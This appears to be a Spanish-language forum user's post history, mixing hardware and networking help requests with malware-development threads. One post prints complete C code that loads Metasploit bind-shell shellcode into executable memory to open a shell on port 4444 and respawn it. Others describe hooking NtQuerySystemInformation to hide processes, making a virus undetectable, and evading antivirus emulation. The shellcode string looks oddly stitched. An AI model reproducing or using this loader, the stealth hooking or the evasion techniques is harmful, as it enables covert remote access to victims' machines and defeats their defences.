|
1
|
Sistemas Operativos / GNU/Linux / Lista de archivos.
|
en: 24 Enero 2013, 23:24 pm
|
Hola! Como va todo? Gente, necesito pedir un favor, estoy haciendo un juego y una parte del mismo es simular un sistema de archivos (sisi, estoy haciendo un simulador de hacking), podrían por favor si no es demasiada molestia pasar un txt con un listado de archivos de su sistema operativo?? Obviamente no necesito ni quiero archivos personales, simplemente una lista de los nombres de los archivos de sistema presentes en su distribución de linux, mi idea es conseguir una buena cantidad de listas para simular distintos sistemas operativos, probablemente windows end user y server y distribuciones de linux.
Repito, revisen que no hayan incluido ningún archivo personal en la lista.
Muchas gracias!! Saludos APOKLIPTICO.
|
|
|
2
|
Informática / Hardware / Uso intensivo del microprocesador.
|
en: 5 Enero 2013, 18:50 pm
|
Hola gente! Como va todo?? Estoy crackeando unos hashes en mi pc, tengo un Phenom II 1075T de 6 núcleos. Cuando empecé distribuí el trabajo en los núcleos para aumentar performance, es decir, 1-5 caracteres en un núcleo, 6 caracteres en otro núcleo y asi hasta ocupar los 6 núcleos. Naturalmente los trabajos mas cortos ya terminaron y ahora sólo estoy ocupando 3 de los 6 núcleos. El sistema está completamente estable, y la temperatura del micro está entre 64 y 69 la medición externa y entre 68 y 75 la interna.
Por ahora hace dos días y 9 horas que está corriendo y probablemente lo haga correr hasta que termine al menos uno más de los trabajos que según el ETA va a ser el 12 de enero a las 20 hs. Es decir que va a estar corriendo aproximadamente una semana más. Me gustaría saber si esto va a considerablemente reducir la vida util del microprocesador o éste está preparado para soportar semejantes cargas.
Todos los parámetros de clocking están stock, es decir no hay overclocking.
Muchas gracias Un abrazo APOKLIPTICO
|
|
|
3
|
Informática / Hardware / Overclocking y tests de performance.
|
en: 25 Diciembre 2012, 19:50 pm
|
Hola gente! Como va tanto tiempo?? Feliz Navidad, Hannukka, Saturnalia o cualquier otra festividad que coincida aproximadamente en el solsticio de verano.
Hoy les traigo algunas dudas sobre overclocking y tests de performance. Por ahora la configuración que tengo es la siguiente: AMD Phenom II 1075T X6. Stock 3000 Mhz (200 x 15) @ 3300 Mhz (300 x 11). ASUS M4A89GTD-PRO/USB3. CPU/NB Link = 2100 Mhz. HT Link = 2100 Mhz. PCIE Speed = 100 Mhz (Stock). Memorias G.Skill RipjawsX: DDR3 1600 Mhz 7-8-7-24-1T. (Configuración stock especial no SPD).
Voltajes: Vcore (1.325 en Bios): 1.332 - 1.368 (Con carga). Vdimm: 1.65 (1.5 Stock). CPU/NB Voltage: 1.325 (1.15 stock). VDDA: 2.7 V.
Okay ahora les traigo mis dudas: 1) Las memorias están funcionando en single channel, las puse asi porque no pueden funcionar en dual channel correctamente, quería saber si la pérdida de performance es muy grande o si realmente no importa.
2) Sirve de algo tener el bus con un 50% de overclock si el multiplicador apenas overclockea el micro??
3) Asumo que aumentar valores como el HT link o el CPU/NB link o el bus, aumenta la tasa de transferencia de datos entre el microprocesador y las memorias, entre otras cosas. Ahora, para testear la performance (y estabilidad) estuve utilizando el linX, pero realmente me da la sospecha de que el linX testea más que nada la performance de el micro, y los GFLOPS que te muestra ahi, solamente van a subir si aumento la velocidad del micro. Hay alguna manera de saber el aumento de performance integral en todo el sistema?? (Sacando de la ecuación al disco duro claro está), mi idea es compararlo con la performance Stock y ver si vale la pena.
4) En cuanto a la performance de las memorias: Es mejor reducir latencias o aumentar frecuencias?? Por ejemplo ahora están funcionando a 1600 Mhz a 7-8-7-24-1T, podría hacerlas funcionar (supongo) a 9-9-9 pero a 2000 Mhz.
5) Alguna otra sugerencia en cuanto al overclock??
Saludos y gracias. APOKLIPTICO.
PD: agrego una sexta pregunta: Puedo subir el CPU/NB Link hasta 3000. Me serviría de algo??
|
|
|
4
|
Comunicaciones / Redes / Problemas con DNS y Windows 2003 Server.
|
en: 28 Noviembre 2012, 18:56 pm
|
Hola!! Tengo una pequeña red montada sobre VMWare Workstation para pruebas. Esta está compuesta por: - Servidor con Win2003 Server con dos adaptadores. Uno conectado a internet y el otro conectado a un segmento de red. En este tengo instalado un servidor DNS, DHCP, WINS y Active Directory con un dominio. Utilizo network address translation (NAT) para repartir el internet al resto de las pcs del segmento (Como si fuese un router). - Cliente con Windows 7 conectado al segmento y parte del dominio. - 2 x Cliente con Windows XP conectado al segmento y parte del dominio. El adaptador que se conecta a internet tiene la IP 192.168.1.104 (Asignada por mi router) y el que actúa como router tiene la IP 192.168.2.1 y trabaja en la subnet 192.168.2.100-254. Todo anda perfecto, tanto el DHCP, WINS, AD como el DNS en todos los clientes. El problema es la resolución de nombres en el servidor. Tarda siglos en resolver. Esto no ocurre en los clientes, en los cuales la resolución es muy rápida. En el servidor si utilizo nslookup la resolución es tan rápida como en los clientes, pero si por ejemplo hago "ping www.google.com" tarda mucho (13-15 segundos) en resolver la dirección. Posteo la salida de los comandos ipconfig /all y route print del servidor. Windows IP Configuration Host Name . . . . . . . . . . . . : apok-server Primary Dns Suffix . . . . . . . : apokliptico.net Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : Yes WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : apokliptico.net Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : XX-XX-XX-XX-E3-E5 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.2.1 Subnet Mask . . . . . . . . . . . : 255.255.0.0 IP Address. . . . . . . . . . . . : fe80::250:56ff:fe37:e3e5%4 Default Gateway . . . . . . . . . : 192.168.1.1 DNS Servers . . . . . . . . . . . : 127.0.0.1 fec0:0:0:ffff::1%2 fec0:0:0:ffff::2%2 fec0:0:0:ffff::3%2 Primary WINS Server . . . . . . . : 192.168.2.1 Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection # 2 Physical Address. . . . . . . . . : XX-XX-XX-XX-0D-B0 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 192.168.1.104 Subnet Mask . . . . . . . . . . . : 255.255.255.0 IP Address. . . . . . . . . . . . : fe80::250:56ff:fe37:db0%5 Default Gateway . . . . . . . . . : 192.168.1.1 DHCP Server . . . . . . . . . . . : 192.168.1.1 DNS Servers . . . . . . . . . . . : 127.0.0.1 fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 Lease Obtained. . . . . . . . . . : Miércoles, 28 de Noviembre de 2012 03:48: 22 a.m. Lease Expires . . . . . . . . . . : Jueves, 29 de Noviembre de 2012 03:48:22 a.m. Tunnel adapter Teredo Tunneling Pseudo-Interface: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface Physical Address. . . . . . . . . : FF-FF-FF-FF-FF-FF-FF-FF DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : fe80::ffff:ffff:fffd%6 Default Gateway . . . . . . . . . : NetBIOS over Tcpip. . . . . . . . : Disabled Tunnel adapter Automatic Tunneling Pseudo-Interface: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Automatic Tunneling Pseudo-Interface Physical Address. . . . . . . . . : XX-XX-02-01 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : fe80::5efe:192.168.2.1%2 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%2 fec0:0:0:ffff::2%2 fec0:0:0:ffff::3%2 NetBIOS over Tcpip. . . . . . . . : Disabled Tunnel adapter Automatic Tunneling Pseudo-Interface: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Automatic Tunneling Pseudo-Interface Physical Address. . . . . . . . . : XX-XX-01-68 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : fe80::5efe:192.168.1.104%2 Default Gateway . . . . . . . . . : DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1 fec0:0:0:ffff::2%1 fec0:0:0:ffff::3%1 NetBIOS over Tcpip. . . . . . . . : Disabled C:\Documents and Settings\Administrator>route print IPv4 Route Table =========================================================================== Interface List 0x1 ........................... MS TCP Loopback interface 0x2 ...XX XX XX XX e3 e5 ...... Intel(R) PRO/1000 MT Network Connection - Packet Scheduler Miniport 0x3 ...XX XX XX XX 0d b0 ...... Intel(R) PRO/1000 MT Network Connection #2 - Pac ket Scheduler Miniport =========================================================================== =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 192.168.1.1 192.168.2.1 10 0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.104 10 127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1 192.168.0.0 255.255.0.0 192.168.2.1 192.168.2.1 10 192.168.1.0 255.255.255.0 192.168.1.104 192.168.1.104 10 192.168.1.104 255.255.255.255 127.0.0.1 127.0.0.1 10 192.168.1.255 255.255.255.255 192.168.1.104 192.168.1.104 10 192.168.2.1 255.255.255.255 127.0.0.1 127.0.0.1 10 192.168.2.255 255.255.255.255 192.168.2.1 192.168.2.1 10 224.0.0.0 240.0.0.0 192.168.1.104 192.168.1.104 10 224.0.0.0 240.0.0.0 192.168.2.1 192.168.2.1 10 255.255.255.255 255.255.255.255 192.168.1.104 192.168.1.104 1 255.255.255.255 255.255.255.255 192.168.2.1 192.168.2.1 1 Default Gateway: 192.168.1.1 =========================================================================== Persistent Routes: None Persistent Routes: None
|
|
|
5
|
Programación / Programación C/C++ / Detectar nuevos procesos?
|
en: 22 Noviembre 2012, 04:14 am
|
Hola! Quería saber si había alguna manera de detectar la creación de nuevos procesos sin utilizar Drivers (a nivel usuario), ni andar enumerando los procesos para ver si cambian ya que es intensivo para el procesador.
Gracias!! Un abrazo APOKLIPTICO.
|
|
|
6
|
Seguridad Informática / Análisis y Diseño de Malware / Evitar detección de anti virus.
|
en: 16 Noviembre 2012, 18:59 pm
|
Hola!! Como va? Bueno, estoy trabajando en un virus que está funcionando bien, el problema es que estoy tratando de hacerlo indetectable (más indetectable por ahora tengo un 5/42) pero ya no se como. Lo está detectando por heurística, se que no es por emulación de código sino probablemente por firmas. Hay alguna manera de obfuscarlo sin necesidad de recurrir a un crypter con su stub?? Gracias!!
|
|
|
7
|
Programación / Programación C/C++ / Problema con CreateRemoteThread y Win7 64 bits??
|
en: 16 Noviembre 2012, 06:47 am
|
Okay replanteo la pregunta. Estoy tratando de hacer un hook desde un programa de 32 bits a uno de 64.
Traté de modificar la zona donde está el call a la función que quiero hookear (ntQuerySystemInformation) primero desprotegiéndola con virtualprotectEx, pero este me tira error 487 (INVALID ADDRESS) lo que me llevó a pensar que puede ser que esté tomando mal la dirección, la cual saqué utilizando getprocaddress desde el programa de 32 bits. Hay alguna manera de traducirlas de 32 a 64 bits para poder utilizarlas??
También probé ejecutando la función que hace el hook desde el programa de 64 bits utilizando CreateRemoteThread, pero me da un error 5 (ACCESS DENIED). Alguna idea Gracias! Un abrazo APOKLIPTICO.
|
|
|
8
|
Seguridad Informática / Análisis y Diseño de Malware / Hooking ntQuerySystemInformation.
|
en: 13 Noviembre 2012, 15:17 pm
|
Hola! Estoy desarrollando un programa para hacer api hooking sin necesidad de dll injection, es decir, con code injection. Por ahora funciona bien en la api EnumProcesses y OpenProcess, mi técnica se basa en antes de poner el hook a mi función inyectada, copio la llamada original a una parte (previamente desprotegida para la ejecución con virtualprotect()) asignada de la memoria y después cuando llaman a mi función, directamente redirijo los parámetros y llamo a la función original. Después de esto, manipulo la salida y devuelvo la información según sea conveniente. El problema es que cuando trato de hacerlo con ntQuerySystemInformation, que es la función que utiliza el task manager para ver los procesos, me da un error de access violation cuando trata de acceder a "00000000". El hook funciona perfecto y todo se ejecuta según corresponde. Acá les dejo dónde es el fallo: 00A30079 ^75 C2 JNZ SHORT 00A3003D 00A3007B 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C] 00A3007F 8B5424 20 MOV EDX,DWORD PTR SS:[ESP+20] 00A30083 8B4C24 2C MOV ECX,DWORD PTR SS:[ESP+2C] 00A30087 8D1411 LEA EDX,DWORD PTR DS:[ECX+EDX] 00A3008A 42 INC EDX 00A3008B 8910 MOV DWORD PTR DS:[EAX],EDX 00A3008D 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 00A30091 85C0 TEST EAX,EAX 00A30093 0F84 A3000000 JE 00A3013C 00A30099 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 00A3009D 8B4424 58 MOV EAX,DWORD PTR SS:[ESP+58] 00A300A1 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00A300A5 8B4424 54 MOV EAX,DWORD PTR SS:[ESP+54] 00A300A9 894424 04 MOV DWORD PTR SS:[ESP+4],EAX 00A300AD 8B4424 50 MOV EAX,DWORD PTR SS:[ESP+50] 00A300B1 890424 MOV DWORD PTR SS:[ESP],EAX 00A300B4 FFD2 CALL EDX -------->> Aca se llama a la call original guardada en la heap. 00A300B6 83EC 0C SUB ESP,0C 00A300B9 884424 3B MOV BYTE PTR SS:[ESP+3B],AL 00A300BD C74424 30 000000>MOV DWORD PTR SS:[ESP+30],0 00A300C5 EB 52 JMP SHORT 00A30119 ----------------------------------------------------------------------- 00A30119 8B4424 58 MOV EAX,DWORD PTR SS:[ESP+58] 00A3011D 8B00 MOV EAX,DWORD PTR DS:[EAX] --->> Aca trata de asignar el valor de EAX, pero este tiene el valor "00000000" 00A3011F C1E8 02 SHR EAX,2 00A30122 3B4424 30 CMP EAX,DWORD PTR SS:[ESP+30] 009E0122 3B4424 30 CMP EAX,DWORD PTR SS:[ESP+30] 009E0126 0F97C0 SETA AL 009E0129 84C0 TEST AL,AL 009E012B ^75 9A JNZ SHORT 009E00C7 009E012D 8B4424 58 MOV EAX,DWORD PTR SS:[ESP+58] 009E0131 8B00 MOV EAX,DWORD PTR DS:[EAX] 009E0133 8D50 FC LEA EDX,DWORD PTR DS:[EAX-4] 009E0136 8B4424 58 MOV EAX,DWORD PTR SS:[ESP+58] 009E013A 8910 MOV DWORD PTR DS:[EAX],EDX 009E013C 8A4424 3B MOV AL,BYTE PTR SS:[ESP+3B] 009E0140 83C4 4C ADD ESP,4C 009E0143 C2 0C00 RETN 0C
Esta es la llamada a la función que luego es reemplazada por JMP (Address función): 7C90D92E > B8 AD000000 MOV EAX,0AD 7C90D933 BA 0003FE7F MOV EDX,7FFE0300 7C90D938 FF12 CALL DWORD PTR DS:[EDX] 7C90D93A C2 1000 RETN 10
Alguien puede darme una mano con esto?? Muchas gracias! APOKLIPTICO.
|
|
|
9
|
Programación / Programación C/C++ / Problemas con un shellcode y CreateThread.
|
en: 7 Agosto 2012, 06:08 am
|
Hola! Como va? Bueno, estoy teniendo problemas con lo siguiente, necesito que mi programa spawnee una shell en el puerto 4444. Para esto, utilicé el payload bind_tcp en el puerto 4444, con el parámetro exit mode en "Thread" para que cierre el thread una vez que se termina. Este es el código que utilicé: #include <process.h> #include <iostream> void SpawnShell(void *dummy); using namespace std; char szShellPayload[] = "\xdd\xc2\xba\x9f\xde\x8a\x09\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x56\x31\x50\x18\x03\x50\x18\x83\xe8\x63\x3c\x7f\xf5\x73\x48\x80\x06\x83\x2b\x08\xe3\xb2\x79\x6e\x67\xe6\x4d\xe4\x25\x0a\x25\xa8\xdd\x99\x4b\x65\xd1\x2a\xe1\x53\xdc\xab\xc7\x5b\xb2\x6f\x49\x20\xc9\xa3\xa9\x19\x02\xb6\xa8\x5e\x7f\x38\xf8\x37\x0b\xea\xed\x3c\x49\x36\x0f\x93\xc5\x06\x77\x96\x1a\xf2\xcd\x99\x4a\xaa\x5a\xd1\x72\xc1\x05\xc2\x83\x06\x56\x3e\xcd\x23\xad\xb4\xcc\xe5\xff\x35\xff\xc9\xac\x0b\xcf\xc4\xad\x4c\xe8\x36\xd8\xa6\x0a\xcb\xdb\x7c\x70\x17\x69\x61\xd2\xdc\xc9\x41\xe2\x31\x8f\x02\xe8\xfe\xdb\x4d\xed\x01\x0f\xe6\x09\x8a\xae\x29\x98\xc8\x94\xed\xc0\x8b\xb5\xb4\xac\x7a\xc9\xa7\x09\x23\x6f\xa3\xb8\x30\x09\xee\xd4\xf5\x24\x11\x25\x91\x3f\x62\x17\x3e\x94\xec\x1b\xb7\x32\xea\x5c\xe2\x83\x64\xa3\x0c\xf4\xad\x60\x58\xa4\xc5\x41\xe0\x2f\x16\x6d\x35\xff\x46\xc1\xe5\x40\x37\xa1\x55\x29\x5d\x2e\x8a\x49\x5e\xe4\xbd\x4d\x90\xdc\xee\x39\xd1\xe2\x01\xe6\x5c\x04\x4b\x06\x09\x9e\xe3\xe4\x6e\x17\x94\x17\x45\x0b\x0d\x80\xd1\x45\x89\xaf\xe1\x43\xba\x1c\x49\x04\x48\x4f\x4e\x35\x4f\x5a\xe6\x3c\x68\x0d\x7c\x51\x3b\xaf\x81\x78\xab\x4c\x13\xe7\x2b\x1a\x08\xb0\x7c\x4b\xfe\xc9\xe8\x61\x59\x60\x0e\x78\x3f\x4b\x8a\xa7\xfc\x52\x13\x25\xb8\x70\x03\xf3\x41\x3d\x77\xab\x17\xeb\x21\x0d\xce\x5d\x9b\xc7\xbd\x37\x4b\x91\x8d\x87\x0d\x9e\xdb\x71\xf1\x2f\xb2\xc7\x0e\x9f\x52\xc0\x77\xfd\xc2\x2f\xa2\x45\xfc\xde\x7e\x50\x69\x79\xeb\x19\xf7\x7a\xc6\x5e\x0e\xf9\xe2\x1e\xf5\xe1\x87\x1b\xb1\xa5\x74\x56\xaa\x43\x7a\xc5\xcb\x41;\xbb\x6c\x09\x32\x41\xdb\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x56\x31\x5f\x13\x03\x5f\x13\x83\xc7\x68\xeb\xc7\xbd\x98\x62\x27\x3e\x58\x15\xa1\xdb\x69\x07\xd5\xa8\xdb\x97\x9d\xfd\xd7\x5c\xf3\x15\x6c\x10\xdc\x1a\xc5\x9f\x3a\x14\xd6\x11\x83\xfa\x14\x33\x7f\x01\x48\x93\xbe\xca\x9d\xd2\x87\x37\x6d\x86\x50\x33\xdf\x37\xd4\x01\xe3\x36\x3a\x0e\x5b\x41\x3f\xd1\x2f\xfb\x3e\x02\x9f\x70\x08\xba\x94\xdf\xa9\xbb\x79\x3c\x95\xf2\xf6\xf7\x6d\x05\xde\xc9\x8e\x37\x1e\x85\xb0\xf7\x93\xd7\xf5\x30\x4b\xa2\x0d\x43\xf6\xb5\xd5\x39\x2c\x33\xc8\x9a\xa7\xe3\x28\x1a\x64\x75\xba\x10\xc1\xf1\xe4\x34\xd4\xd6\x9e\x41\x5d\xd9\x70\xc0\x25\xfe\x54\x88\xfe\x9f\xcd\x74\x51\x9f\x0e\xd0\x0e\x05\x44\xf3\x5b\x3f\x07\x9c\xa8\x72\xb8\x5c\xa6\x05\xcb\x6e\x69\xbe\x43\xc3\xe2\x18\x93\x24\xd9\xdd\x0b\xdb\xe1\x1d\x05\x18\xb5\x4d\x3d\x89\xb5\x05\xbd\x36\x60\x89\xed\x98\xda\x6a\x5e\x59\x8a\x02\xb4\x56\xf5\x33\xb7\xbc\x80\x73\x79\xe4\xc1\x13\x78\x1a\xf4\xbf\xf5\xfc\x9c\x2f\x50\x56\x08\x92\x87\x6f\xaf\xed\xed\xc3\x78\x7a\xb9\x0d\xbe\x85\x3a\x18\xed\x2a\x92\xcb\x65\x21\x27\xed\x7a\x6c\x0f\x64\x43\xe7\xc5\x18\x06\x99\xda\x30\xf0\x3a\x48\xdf\x00\x34\x71\x48\x57\x11\x47\x81\x3d\x8f\xfe\x3b\x23\x52\x66\x03\xe7\x89\x5b\x8a\xe6\x5c\xe7\xa8\xf8\x98\xe8\xf4\xac\x74\xbf\xa2\x1a\x33\x69\x05\xf4\xed\xc6\xcf\x90\x68\x25\xd0\xe6\x74\x60\xa6\x06\xc4\xdd\xff\x39\xe9\x89\xf7\x42\x17\x2a\xf7\x99\x93\x00\xc2\xc3\xb9\x3c\x6b\x96\xff\x20\x8c\x4d\xc3\x5c\x0f\x67\xbc\x9a\x0f\x02\xb9\xe7\x97\xff\xb3\x78\x72\xff\x60\x78\x57"; int main() { _beginthread(SpawnShell, 0, 0); system("pause"); return 0; } void SpawnShell(void *dummy) { void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2); HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0); do { Sleep(2000); DWORD dwExit = 0; cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl; if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0); }while(true); }
El programa funciona bien, pero el problema es que cuando cierro la shell una vez que la usé, en vez de cerrar correctamente, se queda trabado el thread en vez de llamar a la función devuelta. Esto me devuelve: (la dirección de hThread) 1 0 Y no cambia cuando cierro la shell. Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal? Gracias! APOKLIPTICO. PD: El metasploit permite elegir otros métodos para terminar el shellcode, pero: Process: Cierra el proceso, lo cual no quiero. Seh (Structured Exception Handler): Salta un error en tiempo de ejecución. None: Salta un error en tiempo de ejecución.
|
|
|
10
|
Seguridad Informática / Análisis y Diseño de Malware / Evadir emulacion de AVs.
|
en: 31 Julio 2012, 04:18 am
|
Hola! Como va, bueno, como todos sabemos, hay varias maneras que utilizan los AVs para saber si algo es un virus o no lo es. Tenemos las Firmas detectadas, firmas probables, heurística y emulación de código. La pregunta principal es si hay una manera de saber con algún programa o método qué método utilizó el anti virus para detectar un virus.
La segunda pregunta es cómo puedo hacer para evadir la emulación de código, es decir, maneras de por ejemplo, cerrarse al descubrir emulación o hacerlo tan pesado que el AV se resigne al tratar de emularlo (pidiendo demasiados recursos por ejemplo).
Un abrazo APOKLIPTICO.
|
|
|
|
|
|
|